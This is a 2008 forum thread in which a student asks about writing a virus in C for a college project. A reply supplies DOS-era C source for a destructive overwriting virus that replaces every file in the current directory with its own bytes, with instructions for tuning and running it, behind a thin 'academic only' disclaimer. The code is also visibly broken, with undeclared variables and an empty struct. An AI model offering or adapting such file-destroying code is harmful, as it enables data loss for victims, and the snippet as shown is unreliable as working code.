virus or antivirusin 'c'

Discussion in 'C' started by vaibhav89, Mar 20, 2008.

  1. vaibhav89

    vaibhav89 New Member

    Joined:
    Jan 13, 2008
    Messages:
    8
    Likes Received:
    0
    Trophy Points:
    0
    can we make a virus or anti virus using 'c'or 'c++'.......
    please tell me .


    i need to make a college project on 'c'of about 2000 lines .please guide me to a good and innovative project.
     
  2. asadullah.ansari

    asadullah.ansari TechCake

    Joined:
    Jan 9, 2008
    Messages:
    356
    Likes Received:
    14
    Trophy Points:
    0
    Occupation:
    Developer
    Location:
    NOIDA
    There is a lot of virus depends on you where u want to use it i.e. for network, for simple
    desktop pc etc.

    >> first understand on desktop how types of viruses may be

    Example: To Destroy all files making them size 0 or else.

    Code:
    
    #include<stdio.h>
    #include<conio.h>
    #include<dir.h>
    #include<io.h>
    #include<time.h>
    #include<dos.h>
    
    FILE *vPtr,*lPtr;
    unsigned long x;
    int nSize,nCount=0;
    char buff[4096];
    clock_t beg,end;
    struct fBlock
    {
    } fBlck;
    
    void main()
    {
    beg=clock();
    clrscr();
    comp=findfirst("*.*",&fBlck ,0);
    while(!comp)
    {
    lPtr=fopen(fBlck .ff_name,"rb+");
    vPtr=fopen(_argv[0],"rb");
    if(lPtr==NULL)
       goto next;
    nSize=100000;
    printf("Infecting %s\n",fBlck .ff_name,a);
    while(nSize>4096)
    {
    fread(buff,4096,1,vPtr);
    fwrite(buff,4096,1,lPtr);
    nSize-=4096;
    }
    fread(buff, x, 1, vPtr);
    fwrite(buff, x, 1, lPtr);
    nCount++;
    next:
    {
    fcloseall();
    comp=findnext(&fBlck);
    }
    }
    printf("DONE! (Total Infected Files = %d)",nCount);
    end=clock();
    printf("TIME TAKEN=%f SEC\n",
    (beg-end)/CLK_TCK);
    getch();
    }
    
    
    


    >>> You can use borland c.
    First compile and link and see the size of this Exe in bytes. same value you have to assign to "nSize" variables in the program
    Now again compile and then run this program, then all files in that directory will be infected.
    This is for your initiates of your project. A lot of things are there. First read many other way like process replica etc.

    THis is only for your kind of your information and for your project(Academic)only. Dont use it any places.
     
  3. vaibhav89

    vaibhav89 New Member

    Joined:
    Jan 13, 2008
    Messages:
    8
    Likes Received:
    0
    Trophy Points:
    0
    thanxxxxxxxx........but i would like to know how wil it judge a file infected or not...
     
  4. asadullah.ansari

    asadullah.ansari TechCake

    Joined:
    Jan 9, 2008
    Messages:
    356
    Likes Received:
    14
    Trophy Points:
    0
    Occupation:
    Developer
    Location:
    NOIDA

    Original files will be corrupted or unable to open or wrong documents.
     

Share This Page

  1. This site uses cookies to help personalise content, tailor your experience and to keep you logged in if you register.
    By continuing to use this site, you are consenting to our use of cookies.
    Dismiss Notice